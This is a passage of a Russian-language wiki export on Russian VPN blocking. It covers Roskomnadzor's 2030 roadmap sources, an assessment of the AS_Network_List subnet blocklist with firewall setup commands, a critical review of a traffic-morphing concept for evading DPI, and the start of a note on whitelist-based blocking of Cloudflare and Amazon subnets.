непонятно](https://meduza.io/news/2026/05/04/roskomnadzor-potreboval-chtoby-uroven-effektivnosti-blokirovok-vpn-dostig-92-k-2030-godu-chto-eto-znachit-neponyatno) | 4 мая 2026 | Нераскрытость методики показателя. | | [Shazoo — 92% VPN за 40 млрд рублей](https://shazoo.ru/2026/05/04/183427/roskomnadzor-khochet-zablokirovat-92-vpn-k-2030-godu-vsego-za-40-mlrd-rublei) | 4 мая 2026 | Разбивка бюджета (≈20+20 млрд), показатели АСБИ (98% трафика, 831 Тбит/с), утверждение про предписания компаниям (единственный источник). | | [CISOClub — к 2030 планируют блокировать 92% VPN-трафика](https://cisoclub.ru/k-2030-godu-v-rossii-planirujut-blokirovat-92-vpn-trafika-tem-samym-zakonchiv-jepohu-obhodnyh-servisov/) | май 2026 | Версия «92% — внутренний показатель по сигнатурам», риски для корпоративных каналов, предложение «белого списка VPN-протоколов» (депутат Гусев). | | [Хабр — Минцифры планирует увеличить пропускную способность ТСПУ до 954 Тбит/с](https://habr.com/ru/news/1014590/) (по данным [«Коммерсанта»](https://www.kommersant.ru/doc/8534108)) | 25 марта 2026 | 954 Тбит/с к 2030 (было 752,6), 100% трафика через АСБИ к 2026, 83,7 млрд (+14,9), нагрузка 132,3 Тбит/с и 2,5 млн правил (2025), 1207/135/86 узлов. | | [Газета.Ru — заявление депутата Свинцова](https://www.gazeta.ru/tech/news/2025/10/21/27000932.shtml) (пересказ: [hightech.fm](https://hightech.fm/2025/10/22/russia-anon-e)) | 21–22 октября 2025 | «Идентификация для доступа в интернет через 3–5 лет», идентификатор по образцу Госуслуг. | | [CNews — единый интернет-ID с привязкой к номеру телефона](https://www.cnews.ru/news/top/2025-12-23_anonimnosti_konets_vlasti) | 23 декабря 2025 | Предложение Минцифры (Черкесова): единый ID для всех сайтов, привязка к телефону/паспорту, обоснование «подсчёт аудитории». | | [doxa.team — власти собираются проверять весь интернет-трафик к 2030](https://doxa.team/) и [3DNews](https://3dnews.ru/1138854/mintsifri-hochet-filtrovat-ves-trafik-runeta-sredstva-blokirovki-razgonyat-v-25-raza-k-2030-godu) | март 2026 | Публичные разборы того же плана Минцифры. | ## 📚 См. также - [[DPI/vpn-blocking-wave-forecast-summer-2026|Новая волна блокировок VPN: насколько реален прогноз на осень 2026]] — отделяет доказанные методы распознавания и полевые наблюдения от неподтвержденного календаря новой волны. - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты (июнь 2026)]] — тактический уровень того же процесса: поведенческие фильтры и их сопутствующий ущерб; там же — бюджеты ДЦОА и цифра «96%». - [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026: белые списки Cloudflare]] — ковровые блоки подсетей как один из инструментов плана. - [[DPI/google-dns-8888-block-july-2026|Инцидент 3 июля 2026: блокировка 8.8.8.8]] — эксперимент над DNS-слоем. - [[DPI/isp-licensing-reform-2026|Реформа лицензирования провайдеров 2026]] — линия 4: консолидация рынка связи под тотальную фильтрацию и её цена для качества сети. - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — на что тратится наращиваемая мощность ТСПУ. - [[DPI/rdp-ecodpi|EcoDPI и компания РДП.РУ — «железо» ТСПУ]] — кто производит оборудование ТСПУ и во что обойдётся его обновление на 59 млрд рублей. - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — куда движется анализ протоколов, под который закладывают 954 Тбит/с. - [[nuc/mincifry-nuc-certs-danger-june-2026|Сертификаты НУЦ Минцифры: угроза MITM]] — смежная линия контроля: не только фильтровать трафик, но и уметь его читать. - [[DPI/mincifry-whitelist-vpn-hosting-august-2026|Белый список ЦМУ ССОП и хостеры (август 2026)]] — как тот же курс реализуется через хостинг: мониторинг разрешённых адресов и привязка скорости блокировки к уровню идентификации клиента. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/rkn-vpn-2030-roadmap.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-10 tags: - privacy - asn - blocklist - rkn - telemetry - max - vpn - firewall aliases: - Блокировка российских сетей ASN - AS_Network_List - Блоклист российских ASN/CIDR - Блокировка сетей MAX VK Госуслуги link: https://github.com/C24Be/AS_Network_List --- # 🧱 Блокировка российских сетей (ASN/CIDR): приватность vs «чтобы не блокировали VPN» > [!info] О чём заметка > Стоит ли блокировать на своём сервере/устройстве целые подсети российских компаний и госструктур (Яндекс, VK, Сбер, MAX, Госуслуги, телекомы) — и зачем. Здесь разведены **три разные цели**, которые часто путают: приватность (не сливать данные), защита VPN-сервера и «обход цензуры». У них **разная** обоснованность. Повод — обсуждение в [issue C24Be/AS_Network_List#28](https://github.com/C24Be/AS_Network_List/issues/28) о расширении блоклиста. > [!warning] Главное, что путают > «Кто исполняет блокировки и собирает данные **внутри** РФ» (Сбер, VK, MAX, Госуслуги — да) — это **не то же самое**, что «кто **атакует/блокирует твой VPN снаружи**». Блокировку VPN делает [[DPI/browser-ja4-fingerprint-block|ТСПУ в разрыве канала оператора]], а не сеть Сбера, дозванивающаяся до твоего сервера. Поэтому ценность блоклиста зависит от того, **какую** из трёх задач ты решаешь. > [!note] Связанная тема > Как та же фильтрация по подсетям/ASN дата-центров бьёт по обычным легитимным сайтам (а не по VPN) — в [[DPI/tspu-false-blocks-june-2026|разборе массовых сбоев сайтов на хостингах, июнь 2026]]. ## TL;DR - **Ради приватности** (чтобы твои устройства/сервер не сливали данные в РФ-инфраструктуру) — блокировать **точечно** сети госуслуг, MAX, VK, метрик/трекеров **осмысленно**. Это основная заявленная цель списка `AS_Network_List`. - **Ради защиты VPN-сервера** (чтобы залётное РФ-приложение вроде MAX не «спалило» IP сервера, дозвонившись домой через туннель) — блокировать исходящие к РФ-сетям **разумно** как hardening; плюс просто не ставить такие приложения на устройство с VPN. - **Ради «обхода цензуры»** (тезис issue #28: «заблокируй их ASN, иначе они заблокируют каждый VPN») — **почти бесполезно**: ТСПУ режет VPN по fingerprint/подсети/поведению в канале, и блок РФ-ASN на твоём сервере на это не влияет. - **Блокировать ASN телекомов и Яндекса целиком — самострел**: это сети твоих же пользователей и крупные CDN. Чем шире блок — тем больше сопутствующего ущерба. ## Что за проект AS_Network_List `C24Be/AS_Network_List` — генератор блоклистов IP-подсетей российских госструктур и ряда компаний для блокировки на уровне сервера/устройства (лицензия BSD-2-Clause). - **Что покрывает:** сети госведомств РФ (через `lists/ru-gov-netnames.txt`) и отдельные списки **VK / MAX / OK** — последние специально для блокировки **исходящего** трафика. - **Откуда данные:** ASN-кандидаты берутся автоматически из `auto/all-ru-asn.txt`, подсети подтягиваются запросами к базе **RIPE** (`get_info_from_ripe.py`). - **Обновление:** ежедневно через GitHub Actions (daily/weekly/monthly). - **Форматы на выходе:** обычный текст, nginx (`.conf`), iptables/ipset (`.ipset`), nftables (`.nft`), blackhole-маршруты (`.routes`) — с отдельными VK-вариантами. - **Что советует README:** лучшая защита — вообще не ставить мессенджер MAX на телефон с настроенным VPN; блок сетей VK/MAX/OK снижает риск, что MAX «скомпрометирует» твой VPN-сервер. > [!note] Чего в README нет > Явных предупреждений о **сопутствующем ущербе** (что блок широких ASN заденет легитимный трафик, CDN и собственных пользователей) проект не даёт — это стоит держать в голове при расширении списка (см. раздел про самострел ниже). ## Три цели — три разных вердикта ### 1. Приватность: «они сливают данные» — ✅ обоснованно (точечно) Это сильный и реальный мотив, и именно он — **основная** цель списка. Российские госсервисы и «национальный мессенджер» **MAX** (запущен VK в 2025) по своей архитектуре подразумевают доступ государства к данным: код закрытый, данные на серверах в РФ, полноценного сквозного шифрования (E2EE) по умолчанию нет — переписка технически доступна оператору и уполномоченным органам **по закону** (закон Яровой, суверенный интернет, оборудование СОРМ у операторов). Это не «утечка» в смысле взлома, а **заложенный доступ**. Поэтому блокировать сетевой доступ к таким ресурсам с устройства/сервера, где настроен VPN, — нормальная гигиена: меньше телеметрии и меньше точек, где трафик соотносится с тобой. Аналогия — блокировка рекламных трекеров, только на уровне подсетей. > [!note] Где доказанное, а где спорное > **Доказанная** часть — архитектура: закрытый код, хранение в РФ, отсутствие дефолтного E2EE, законная обязанность отдавать данные. **Спорная** — отдельные сенсационные сообщения (напр. «в MAX нашли скрытый модуль, стучащий в Роскомнадзор»): это репорты сообщества/СМИ, а часть аналитиков на тот же период не нашла доказательств утечек. Опирайся на архитектуру, а не на сенсации. ### 2. Защита VPN-сервера: «чтобы приложение не спалило IP» — ✅ разумно Конкретный сценарий из README списка: если на телефоне с настроенным VPN стоит приложение с широкими правами (та же MAX — камера, микрофон, контакты, геолокация), оно может «дозвониться домой» в РФ-инфраструктуру **через твой туннель** и засветить IP/паттерн твоего VPN-сервера. Контрмеры: - блокировать **исходящие** соединения сервера к РФ-сетям госструктур/мессенджеров; - проще — **не ставить** такие приложения на устройство, через которое ходит VPN. Это hardening «на всякий случай», узкий и оправданный. ### 3. Анти-цензура «заблокируй их ASN, иначе заблокируют VPN» — ❌ миф Это центральный тезис issue #28, и механически он не работает: - **ТСПУ стоит в разрыве** между пользователем и твоим сервером, внутри сети оператора. Он блокирует VPN по [[DPI/browser-ja4-fingerprint-block|JA4-отпечатку]], подсети назначения и поведению — **до** того, как пакет дойдёт до тебя. Блок ASN Сбера/Яндекса на твоём сервере на ТСПУ никак не влияет. - **Коммерческие РФ-ASN не зондируют твой зарубежный VPS.** Биллинг маркетплейса не сканирует прокси в другой стране. «Сотрудничество с РКН» означает «исполняют блокировки для своих пользователей», а не «атакуют чужие серверы». - Реальное **активное зондирование** ведёт сама censorship-инфраструктура (ТСПУ / измерительные узлы РКН, массово с августа 2025), а не биллинг Сбера и Wildberries. Но и её **по ASN/IP заблокировать трудно**: пробы идут с операторских магистралей — тех же, откуда приходит легитимный трафик пользователей. Так что «точечно заблокировать зонды» — не лёгкая контрмера, а отдельная сложная задача, не решаемая списком коммерческих РФ-ASN. > [!important] РКН активно зондирует — поэтому ASN-список не спасает VPN > ТСПУ не ждёт пассивно: он **сам подключается** к подозрительным IP:портам, шлёт VPN-подобный хэндшейк, и если сервер «отвечает как прокси», а не как обычный сайт — IP уходит в блок. Обычные VPN так **горят за часы**; с сентября 2024 даже обфусцированный Shadowsocks ловят сигнатурно, а в 2025–2027 РКН докручивает ИИ/ML-детект (бюджет ~60 млрд ₽, цель — заблокировать 92% VPN к 2030). Зондирование идёт **из censorship-инфраструктуры в сетях операторов**, а не из ASN Сбера/Яндекса — заблокировать его на своей стороне нельзя. Вывод прямой: **блоклист РФ-сетей не удерживает VPN от блокировки.** Это делает только сторона протокола/сервера — REALITY (проходит активное зондирование, отвечая как настоящий сайт) + свежий fingerprint + «чистая» подсеть + поведение; см. [[VLESS/dpi-tls-june-2026|схему ограничений июня 2026]] и [[DPI/browser-ja4-fingerprint-block|блок по JA4]]. ## Пример: РФ-приложения сами детектят VPN и шлют статус на серверы (RKS Global, апрель 2026) Исследование **RKS Global** (апрель 2026) разобрало **30 популярных российских Android-приложений** на предмет детекта VPN/прокси. Результат: при первом анализе VPN детектили 22 из 30 приложений, 19 — **передавали статус на свои серверы**; к 16 апреля 2026 детект был уже **во всех 30**. Как именно приложения это делают: - **скан сетевых интерфейсов** устройства на признаки VPN (`tun0`, `ppp`, `tap`, `pptp0`); - **системная проверка** наличия VPN/прокси на уровне ОС; - **перечисление установленных VPN-приложений** — напр. Самокат и MegaMarket запрашивают список всех VPN-приложений на устройстве; - **анализ DNS и маршрутизации**; - **поведенческий анализ** — резкая смена страны, нетипичные паттерны соединений; - Яндекс.Браузер отдельно **ищет наличие Tor**. Почему это важно для темы заметки: детект происходит **внутри приложения на твоём устройстве**, и результат уходит **на российские серверы**. То есть «сливают данные» — это не фигура речи, а измеренный факт: приложение узнаёт, что ты под VPN, и сообщает это в РФ-инфраструктуру. > [!important] Что отсюда следует для блоклиста > Это **подтверждает приватностный мотив** (цель 1–2): блок сетей таких приложений мешает им отправить «этот пользователь под VPN» на серверы, а не-установка их на устройство с VPN убирает проблему в корне. И это же **опровергает анти-цензурный миф** (цель 3): детект сидит **в приложении на устройстве**, а не в РФ-ASN, дозванивающихся до твоего сервера. Блокировать надо **исходящие к их серверам**, а не «их ASN, чтобы они не сломали VPN». > [!question] «А спасёт ли блок приложения IP моего VPN-сервера от блокировки?» > Частично — и важно, **где** блокировать. Если зарубить **исходящие** соединения приложения к его РФ-серверам (на устройстве или на egress VPN-сервера), оно не отправит донос «этот пользователь под VPN» и не сольёт телеметрию — реальный выигрыш (цели 1–2). Но **спрятать сам IP VPN-сервера от РКН это обычно не помогает**: ТСПУ в канале оператора и так видит IP назначения каждого твоего туннеля напрямую — приложение не единственный и не главный источник этого знания, плюс оно может доложить позже или другим каналом. **Исключение:** если твой IP сам по себе не выглядит «вэпээновским» для DPI (REALITY, общий CDN-адрес, домен-фронтинг) — тогда явный доклад приложения «это VPN-сервер с IP Y» становится отдельной, более опасной утечкой, и его блок действительно защищает замаскированный адрес. И в любом случае это **исходящий** блок (цели 1–2), а не «блок их ASN на входе, чтобы они не сломали VPN» (цель 3 по-прежнему не работает). ## Большой риск: сопутствующий ущерб от широких блоков > [!danger] Блокировать телекомы и Яндекс целиком — самострел > Автор issue #28 сам признаёт: блок МТС/Ростелеком/МегаФон целиком **рискует обернуться полным самосаботажем** (в оригинале — «risk complete self-sabotage»), ведь это сети твоих **пользователей**. Та же логика шире: Яндекс — это и Яндекс.Облако (хостит много внешних сервисов), и CDN. Блокируя такие ASN, ты режешь легитимный трафик и собственных клиентов, а не цензора. Чем грубее блок (целые AS), тем больше ломается. **Практический вывод:** для приватности блокируй **узко и осознанно** — госсети, Госуслуги, MAX, VK, известные метрики/трекеры. Не сваливай в один список «весь Яндекс/Сбер/телекомы». ## Как это применяется (форматы списка `AS_Network_List`) Список отдаётся в **CIDR** (IPv4/IPv6-подсети по ASN) и готовых конфигах под разные инструменты. Применять можно с двух сторон: - **Исходящий блок** (с сервера/устройства в РФ-сети) — основная приватностная задача. - **Входящий блок** (защита VM от соединений из перечисленных сетей) — server hardening. | Инструмент | Как подключить | |---|---| | iptables/ipset | `ipset restore < blacklist-v4.ipset` + правило DROP | | nftables | `sudo nft -f blacklist.nft` | | nginx | `include /path/to/blacklist.conf;` | | Linux routing | `sudo sh blacklist-vk-v4.routes` (blackhole-маршруты) | > [!tip] Минимизируй ложные срабатывания > ASN/CIDR-списки дрейфуют, провайдеры меняют диапазоны. Держи список свежим, начни с **узкого** набора (госсети + MAX/VK), проверь, что не отвалилось нужное, и только потом расширяй. Для VPN, обслуживающего РФ-аудиторию, помни: их пользователи приходят как раз из РФ-сетей — блок «по стране» ударит по своим. ## Вердикт по целям | Цель | Блокировать РФ-сети? | Почему | |---|---|---| | Приватность / анти-телеметрия | ✅ да, точечно | закрытый код, хранение в РФ, нет E2EE, законный доступ — меньше сливаешь | | Защита IP VPN-сервера | ✅ да, узко | чтобы залётное РФ-приложение не засветило сервер через туннель | | «Чтобы не заблокировали VPN» | ❌ нет | ТСПУ режет в канале по отпечатку/подсети, блок РФ-ASN на сервере не мешает | | Блок телекомов/Яндекса целиком | ⚠️ почти никогда | это сети твоих пользователей и CDN — самострел | ## 📚 См. также - [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — как и где на самом деле режется трафик (ТСПУ в канале, а не РФ-ASN на твоём сервере). - [[yabloko-boycotts-protest-2026|Снятие «Яблока» с выборов и бойкоты MAX и «Колобка» (лето 2026)]] — политический контекст: почему пользователи массово отказываются от MAX и что это говорит о протесте. - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — почему блок идёт по fingerprint + подсеть + поведение. - 🔗 [C24Be/AS_Network_List](https://github.com/C24Be/AS_Network_List) — генератор блоклистов РФ-подсетей (CIDR, конфиги под iptables/nft/nginx). - 🔗 [Issue #28 — расширение блоклиста РФ-ASN](https://github.com/C24Be/AS_Network_List/issues/28) — обсуждение, с которого начался разбор. - 🔗 [RKS Global — VPN detection в РФ-приложениях (апрель 2026)](https://rks.global/ru/research/vpn-detection/) — разбор 30 приложений: как детектят VPN и шлют статус на серверы. - 🔗 [net4people/bbs #546 — TLS-policing против VLESS+REALITY](https://github.com/net4people/bbs/issues/546) — как ТСПУ давит REALITY на части ISP. - 🔗 [Surflare — Russia's VPN crackdown](https://www.surflare.com/blog/russias-vpn-crackdown-whats-really-happening-and-what-you-can-do-about-it) — активное зондирование: серверы горят за часы. - 🔗 [TechRadar — RU-сервисы обязаны детектить VPN (с 15 апреля 2026)](https://www.techradar.com/vpn/vpn-privacy-security/russias-major-internet-services-instructed-on-how-to-detect-vpns-but-there-may-be-some-workarounds) — двухшаговая проверка на стороне приложений. - 🔗 [Max (мессенджер) — Wikipedia](https://ru.wikipedia.org/wiki/Max_(мессенджер)) · [разбор приватности MAX (anti-malware.ru)](https://www.anti-malware.ru/analytics/Technology_Analysis/MAX-Security-Fact-and-Fiction) — фактура по архитектуре и данным. --- --- date: 2026-06-07 tags: - dpi - morphing - mimicry - traffic-analysis - vpn - rkn link: https://habr.com/ru/articles/1012926/ aliases: - Адаптивная мимикрия - Статистический морфинг - Behavioral mimicry concept img: --- # 🦎 Адаптивная мимикрия: статистический морфинг трафика (концепт) > [!quote] Первоисточник > Эта заметка разбирает статью **Ивана Сорокина** (@unxed) на Хабре: > 👉 **[«Адаптивная мимикрия: как обмануть DPI» — habr.com/ru/articles/1012926](https://habr.com/ru/articles/1012926/)** > > Это **третья** заметка в связке. Первые две описывают, *как* DPI ловит обход по поведению ([[dpi-analysis-pipeline|воронка анализа]]) и конкретно [[dpi-tls-june-2026|по форме и частоте соединений]]. Эта — разбирает **предлагаемый ответ** на ту самую открытую проблему: мимикрию под поведение живого пользователя. > [!warning] Статус: это КОНЦЕПТ, а не рабочий инструмент > Автор сам позиционирует материал как **«концепт для обсуждения»**, а не продукт (уровень «простой», 5 минут чтения). Готовой реализации нет. Ниже — разбор идеи, её места в исследовательской линии и **честная оценка пределов**: у подхода «имитации» есть известная фундаментальная слабость (см. раздел «Почему это трудно»). Читайте как *направление мысли*, а не как руководство к настройке. --- ## TL;DR Все нынешние обходы (включая VLESS+REALITY) маскируют **протокол** — делают TLS неотличимым от настоящего. Но DPI перешёл на анализ **поведения** (см. парные заметки), и тут маскировка протокола не спасает. Идея статьи: маскировать не протокол, а **поведение**. Пусть обходной канал не просто шифруется, а **повторяет статистику вашего же обычного трафика** — те же паузы, объёмы, ритм. Тогда снаружи он выглядит не как «прокси», а как «этот человек читает ленту». Цена честно названа автором: это **«канал последней надежды»** для текста (целевая полоса **64–128 Кбит/с**), а не быстрый VPN. И — как покажем ниже — даже у этой идеи есть теоретический потолок. --- ## На пальцах: мимикрия под себя, а не под протокол Вернёмся к аналогии таможни из [[dpi-tls-june-2026|парной заметки]]. REALITY сделал идеальный поддельный *чемодан* — снаружи не отличить от туриста. Но таможня перестала смотреть на чемодан и начала смотреть на **манеру пассажира**: как ходит, как часто, с какими паузами. Адаптивная мимикрия отвечает на это так: **скопировать манеру**. Не «выглядеть как абстрактный обычный человек», а «вести себя ровно так, как *вы* обычно ведёте себя в сети» — с вашими типичными задержками между действиями и объёмами на чтение страницы. > [!info] Ключевое отличие от uTLS > uTLS (см. [[dpi-tls-june-2026#🔬 Технические детали: uTLS — как работает TLS-почерк|парную заметку]]) копирует **статический отпечаток** `ClientHello` — «как выглядит» одно рукопожатие. Морфинг же копирует **динамику потока во времени** — «как ведёт себя» соединение. Это два разных слоя: uTLS закрывает Этап 2 воронки, морфинг целится в Этап 4 (метаанализ потока). --- ## Три фазы статистического морфинга Автор предлагает такой процесс на клиенте: 1. **Обучение.** Приложение наблюдает за *вашим* реальным трафиком: с какими задержками вы открываете страницы, сколько данных потребляете при чтении текста, какой ритм у вашего сёрфинга. 2. **Генерация паттерна.** Из собранной статистики строится лёгкая модель «легитимного трафика именно этого пользователя». 3. **Инкапсуляция с морфингом.** Полезные данные пакуются в TLS 1.3 и выпускаются **строго в рамках этого паттерна** — например: «скачать 10 КБ → подождать 5 с → отправить 2 КБ», если так выглядит ваш типичный ритм. Технические приёмы, которыми это достигается: - **Padding & timing obfuscation** — искусственные паузы и добивка пакетов, чтобы размеры и тайминги совпали с моделью; - **нарезка данных** на куски «типичных» для пользователя размеров; - **ограничение полосы 64–128 Кбит/с** — намеренное, чтобы канал выглядел как фоновая активность, а не как закачка; - **UDP по типу Hysteria** — чтобы уйти от части TCP-анализа (поведение TCP-потока тоже выдаёт, см. ниже). --- ## Предлагаемая инфраструктура | Компонент | Что предлагается | | --- | --- | | **Сервер** | распределённый пул VPS с валидными доменами, в стиле REALITY (с защитой от active probing) | | **Клиент (Android)** | реализация через системный `VpnService`; упоминается код **AndIodine** (Android-обёртка над DNS-туннелем iodine) | | **Антиспам** | **Anubis** — реверс-прокси с Proof-of-Work (изначально против ИИ-скраперов) как защита пула от засорения | | **Запасной канал** | мессенджер с **mesh-маршрутизацией** по Wi-Fi/Bluetooth — для узлов *внутри* заблокированного сегмента (в духе Briar/Bridgefy) | > [!note] Названные инструменты — реальные > **Hysteria** (прокси поверх QUIC/UDP), **Anubis** (PoW-прокси Xe Iaso), **AndIodine**/**iodine** (IP-over-DNS), `VpnService` (Android API) — существующие проекты. Новизна статьи не в них, а в **связке**: использовать поведенческую модель пользователя как «форму», в которую льётся трафик. --- ## 🧱 Почему это трудно: имитация и её фундаментальный потолок Здесь — главная причина, почему заметка помечена «концепт». Подход относится к классу **«имитация» (mimicry)**, а у этого класса есть известная теоретическая проблема. > [!danger] «The Parrot is Dead» > Каноническая работа [Houmansadr, Brubaker, Shmatikov, IEEE S&P 2013, «The Parrot Is Dead: Observing Unobservable Network Communications»](https://ieeexplore.ieee.org/document/6547130) показала: системы, которые **имитируют** легитимный протокол/поведение, фундаментально уязвимы, потому что имитацию нужно сделать **идеальной во всех побочных каналах сразу** — включая реакцию на ошибки, потери пакетов, тайминги повторов, краевые случаи. Censor легко находит **расхождение**, которое имитатор не воспроизвёл. > > И ровно это автор статьи **называет сам** как слабость своего концепта: «цензор может различить трафик по разной реакции на потери пакетов». Это и есть аргумент «мёртвого попугая» — имитируемое приложение и морфер по-разному отреагируют на сетевой сбой (канонический пример в самой работе — VoIP/Skype: потеря пакетов меняет битрейт кодека и активность RTCP), и это расхождение палится. Дальше — остальные пределы, часть из которых автор тоже честно перечисляет: - **Overhead.** Морфинг под фиксированный ритм = намеренные паузы и padding → низкая полоса и высокая задержка. Отсюда и cap 64–128 Кбит/с. Защиты этого класса с постоянной скоростью ещё дороже — это известно по website-fingerprinting (constant-rate **BuFLO** и провабельно-стойкая **Tamaraw**): кратный overhead по полосе и задержке. - **Round-trip-узор никуда не делся.** Даже идеальный морфинг *размеров и пауз* не убирает **число round-trip'ов** вложенного TLS-рукопожатия — а именно по нему детект из [USENIX Security 2024](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting) и работает (подробно — в [[dpi-tls-june-2026#Почему padding и mux в принципе не прячут TLS-в-TLS (детект по round-trip'ам)|парной заметке]]). Морфинг повышает *стоимость* детекта, но не закрывает этот вектор. - **Парадокс уникальности.** Мимикрия под *свой* профиль — палка о двух концах: с одной стороны, это правдоподобно; с другой — слишком характерный личный паттерн может стать **отпечатком именно вас** (та же логика, что с уникальным uTLS-отпечатком в [[dpi-tls-june-2026#Фиксированный список фингерпринтов uTLS — это слабое место?|парной заметке]]). - **Whitelist-цензура убивает всё.** При модели «запрещено всё, кроме явно разрешённого» мимикрия бессмысленна: нет **фонового легитимного трафика**, под который маскироваться. В пределе — при полной [[Zapret/about#Что будет если полностью изолировать рунет?|изоляции рунета]] — пропадает и сам внешний канал, морфить уже некуда (это более сильный сценарий, чем whitelist, но добивает по той же причине). - **Батарея.** Постоянный анализ и обфускация на телефоне жрут заряд. --- ## 🧬 Это не ново: исследовательская линия Важно для трезвой оценки: «статистический морфинг» — не изобретение статьи, а давняя ветка исследований. Концепт стоит читать как *популярное переизложение* известного направления: - **Traffic Morphing** (Wright, Coull, Monrose, NDSS 2009) — ранняя работа ровно про подгонку статистики пакетов под целевое распределение. - **Format-Transforming Encryption (FTE)** (Dyer, Coull, Ristenpart, Shrimpton, CCS 2013) — придание шифропотоку формы разрешённого протокола. - **Защиты от website-fingerprinting** — WTF-PAD, Walkie-Talkie, Tamaraw, BuFLO: padding и регуляризация тайминга/размеров. Их главный урок и есть «безопасность стоит полосы и задержки». Ценность статьи — не новый алгоритм, а **постановка вопроса** «раз DPI смотрит на поведение, давайте маскировать поведение» и сборка из реальных кирпичей (Hysteria/Anubis/iodine/VpnService). --- ## 🎯 Главный вывод Концепт целит **в правильную точку**: парные заметки показывают, что нерешённый слой — именно *поведенческий* (Сигнал 3 / Этап 4-5), и что настоящая защита — не *дополнять* трафик, а **переформировывать** его. Статистический морфинг — это попытка именно переформировать. Но честная оценка такова: 1. Как **имитация** он наследует проблему «мёртвого попугая» — идеально воспроизвести все побочные каналы (особенно реакцию на ошибки) практически невозможно, и автор это признаёт. 2. Он **не закрывает** round-trip-детект вложенного рукопожатия — только удорожает его. 3. Цена — драматическое падение скорости; реалистичная ниша — **текстовый «канал последней надежды»**, а не повседневный VPN. То есть это ценное *направление мысли*, честно обозначенное автором как концепт, а не готовое решение. Оно хорошо закрывает пробел в нашей трилогии: что *можно было бы* противопоставить поведенческому DPI — и почему это так трудно. --- ## 📚 См. также - 🔗 **Первоисточник:** [habr.com/ru/articles/1012926](https://habr.com/ru/articles/1012926/) — Иван Сорокин (@unxed) - 🧊 **Парная заметка:** [[dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — какой именно поведенческий сигнал морфинг пытается обойти - 🔍 **Парная заметка:** [[dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — Этап 4 (метаанализ потока), куда целится морфинг - 🕵️ **Полевой кейс:** [[browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — статический uTLS-отпечаток как маркер: тот слой, что морфинг **не** закрывает - 🔗 [USENIX Security 2024 — Fingerprinting Obfuscated Proxy Traffic](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting) (почему round-trip переживает морфинг) - 🔗 [The Parrot Is Dead (IEEE S&P 2013)](https://ieeexplore.ieee.org/document/6547130) — фундаментальная критика подхода «имитации» - 🔗 [Hysteria](https://github.com/apernet/hysteria) · [Anubis](https://github.com/TecharoHQ/anubis) · [iodine](https://github.com/yarrick/iodine) - [[Zapret/about|Что такое обход DPI: VPN, Tor, DPI]] --- --- date: 2026-06-23 tags: - dpi - rkn - cloudflare - amazon - whitelist - zapret - blocking link: https://t.me/nerdpapers/3220 aliases: - Блокировка подсетей по белому списку - Discord и Twitch — сопутствующие жертвы - Почему банят Cloudflare и Amazon, а не Discord - Белый список подсетей ТСПУ - Серые списки против белых списков - Ковровый блок облаков --- # 🕸️ Блок подсетей Cloudflare и Amazon по белому списку: почему Discord и Twitch — сопутствующие жертвы > [!info] О чём заметка > Разбор механизма, при котором ТСПУ (Технические Средства Противодействия Угрозам — российские системы DPI) блокируют не конкретный сервис, а **целые подсети облачных провайдеров** (Cloudflare, Amazon/AWS и др.), пропуская наружу лишь то, что внесено в **белый список**. Из-за этого «умирают» популярные сервисы вроде Discord или Twitch — но **не потому, что их выбрали целью**, а потому что они физически размещены на задетых облаках и попали под раздачу. Конкретная хроника, как это проявилось 23 июня 2026, — в отдельной заметке [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026]]. Это **другой** «белый список», чем в [[Белые списки|белых списках на мобильных сетях]] — про различие см. раздел в конце. > [!warning] Статус: реконструкция по наблюдениям сообщества > Описанный механизм собран из публичных наблюдений и обсуждений (в т.ч. в Telegram-канале [«Канал для умных манулов» (@nerdpapers)](https://t.me/nerdpapers/3220)) и из поведения блокировок, а **не** из официальных данных или прямого доступа к конфигурации ТСПУ. Внутреннее устройство фильтров публично не подтверждено, оборудование настраивается неравномерно по операторам и регионам. Поэтому относитесь к тексту как к наиболее правдоподобному объяснению, а не как к доказанному факту; отдельные детали со временем меняются. ## TL;DR - Цель блока — **облачные подсети** (Cloudflare, Amazon/AWS), а **не** сами Discord, Twitch, YouTube. Сервисы ломаются «по касательной», потому что хостятся на этих облаках. - Сменилась модель фильтрации: с **«серых списков»** (резали только заведомо плохое или то, чего нет в известных подсетях) на **«белые списки»** — теперь рубится **всё, чего нет в списке разрешённого**. Для оборудования так проще и «надёжнее» с точки зрения цензора. - Cloudflare задели, возможно, в попытке мешать VPN-сервисам на его инфраструктуре (например, WARP) — но это **слабая гипотеза**; зачем так держатся за Amazon/CloudFront, непонятно, он даже не использовался в фейках. - Обход смещается в сторону **«вернуть домен под дурение / подменить IP на незаблокированный / уйти в VPN»**, а не «подобрать хитрый сплит»: против блока целой подсети чистый DPI-десинк помогает не всегда. - Конкретное рабочее решение для видео Twitch (см. ниже) — пример того, что «лечится» это часто простым возвращением домена сервиса в обрабатываемые списки. ## Главная мысль: цель — облако, а не сервис Когда «падает Discord» или «не грузится Twitch», интуитивно кажется, что заблокировали именно их. По наблюдениям, картина обратная: блокируют **диапазоны IP облачных провайдеров**, на которых эти сервисы живут, — а сервис просто оказывается внутри задетого диапазона. > [!example] На пальцах: перекрыли не магазин, а весь торговый центр > Представьте, что нужный вам магазин закрылся. Вы думаете «закрыли магазин» — а на деле перекрыли **весь торговый центр**, в котором он арендует угол, потому что в этом ТЦ замечен кто-то «неблагонадёжный». Магазин ни при чём, но войти в него 